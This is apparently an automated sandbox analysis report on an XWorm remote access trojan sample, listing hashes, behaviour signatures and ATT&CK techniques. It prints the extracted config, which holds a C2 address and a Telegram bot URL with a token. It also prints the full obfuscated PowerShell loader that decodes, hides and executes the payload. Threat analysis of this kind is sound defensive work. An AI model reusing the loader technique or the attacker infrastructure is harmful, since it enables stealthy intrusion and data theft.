xworm | 4f43e8d90f82a6556d354a707fcbd355528755c0089e254ad249694855f26047

General

Target

aliu1.ps1
Size

1.6MB
MD5

4a319c9e02e40a2b6e8351b8a29fce00
SHA1

8402349210dbc3878be22625c374b821d148d70b
SHA256

4f43e8d90f82a6556d354a707fcbd355528755c0089e254ad249694855f26047
SHA512

abecb6b8b3fbcc7b67e7a5cb3da0dda9309e4f0044da79206e818db718d7cea73202704ba9f1ae6c928e11e26b832cae8dca932688373bea76af4e4346b2f5be
SSDEEP

24576:vfyaQV6q4wOViv+ZinOIHtr1bqeNhI2LXteG4UGG28mcbYAJfQUKw4wNgUQkcf3o:ePOViycbrWg974PGhbZCwNc6uu

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

193.32.177.63:6000

Mutex

wwD0bshguVCRSd3k

Attributes

install_file
USB.exe
telegram
https://api.telegram.org/bot7238632531:AAGCQZAh03hAwOcuP9HUeoAP5AQV0o0tp24/sendMessage?chat_id=8080837794

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4856-43-0x000001E1B4480000-0x000001E1B4490000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 13 IoCs

flow	pid	Process
23	3312	powershell.exe
31	4856	powershell.exe
33	4856	powershell.exe
47	4856	powershell.exe
48	4856	powershell.exe
49	4856	powershell.exe
50	4856	powershell.exe
53	4856	powershell.exe
57	4856	powershell.exe
60	4856	powershell.exe
61	4856	powershell.exe
62	4856	powershell.exe
80	4856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3312	powershell.exe
4856	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3312	powershell.exe
3312	powershell.exe
4856	powershell.exe
4856	powershell.exe
4856	powershell.exe
4856	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3312	powershell.exe
Token: SeDebugPrivilege	4856	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4856	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3312 wrote to memory of 3724	3312	powershell.exe	97
PID 3312 wrote to memory of 3724	3312	powershell.exe	97
PID 3724 wrote to memory of 4856	3724	cmd.exe	99
PID 3724 wrote to memory of 4856	3724	cmd.exe	99

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\aliu1.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\winupdate.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden -c "Write-Host ('dedaoL rotcartxE llehsrewoP'[-1..-27] -join '');$path = $env:tMHryVWCxy;$path = $path.Trim();try {$_1 = Get-Content -Path $path.Substring(1, $path.Length - 2) -ErrorAction Stop;} catch {$_1 = Get-Content -Path $path}$_3 = $_1 -split '\n';$_2 = $_3[-1];$_2 = [Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($_2.Replace('\n', ''));$_4 = New-Object byte[] $_2.Length;for ($_5 = 0; $_5 -lt $_4.Length; $_5++) {$_4[$_5] = $_2[$_5] -bxor 0x20;};$_4 = [System.Text.Encoding]::Unicode.GetString($_4);Set-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows Search' -Name '$phantom-frZZfx' -Value $_4;Remove-Item -Path $path -Force;$_4 | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4856

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wbesi2yk.sid.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\winupdate.bat

Filesize
4.3MB

MD5
c827b11ddab8f04af88ad75cf10ce5c3

SHA1
8ccd314ee72a96772cc6040e9c626332a18ff2d0

SHA256
e3f141aeea820a23216db5919e80573b1e5675e98a3c02a67d2e7b576ef269b5

SHA512
73bbdfe7555c49893674339b967f6515471ae83043d9c5ca9772828f0877c2827cace3c24bae99da393864e35dc91268ab7fc5a969fb65cb10a3da23dceb6f32

Download Submit
memory/3312-20-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/3312-17-0x00007FFBF2220000-0x00007FFBF22DE000-memory.dmp

Filesize
760KB

Download
memory/3312-12-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/3312-13-0x000001D16A6E0000-0x000001D16A6E8000-memory.dmp

Filesize
32KB

Download
memory/3312-14-0x000001D16B670000-0x000001D16B7A2000-memory.dmp

Filesize
1.2MB

Download
memory/3312-15-0x000001D16B7A0000-0x000001D16B7F8000-memory.dmp

Filesize
352KB

Download
memory/3312-10-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/3312-16-0x00007FFBF2DB0000-0x00007FFBF2FA5000-memory.dmp

Filesize
2.0MB

Download
memory/3312-18-0x000001D16A850000-0x000001D16A856000-memory.dmp

Filesize
24KB

Download
memory/3312-19-0x00007FFBD4E73000-0x00007FFBD4E75000-memory.dmp

Filesize
8KB

Download
memory/3312-11-0x000001D16A750000-0x000001D16A772000-memory.dmp

Filesize
136KB

Download
memory/3312-0-0x00007FFBD4E73000-0x00007FFBD4E75000-memory.dmp

Filesize
8KB

Download
memory/3312-36-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/4856-35-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/4856-38-0x000001E1B43A0000-0x000001E1B43A8000-memory.dmp

Filesize
32KB

Download
memory/4856-37-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/4856-25-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/4856-39-0x000001E1B5190000-0x000001E1B52CC000-memory.dmp

Filesize
1.2MB

Download
memory/4856-40-0x00007FFBF2DB0000-0x00007FFBF2FA5000-memory.dmp

Filesize
2.0MB

Download
memory/4856-41-0x00007FFBF2220000-0x00007FFBF22DE000-memory.dmp

Filesize
760KB

Download
memory/4856-42-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/4856-43-0x000001E1B4480000-0x000001E1B4490000-memory.dmp

Filesize
64KB

Download
memory/4856-44-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download
memory/4856-45-0x00007FFBD4E70000-0x00007FFBD5931000-memory.dmp

Filesize
10.8MB

Download

Analysis

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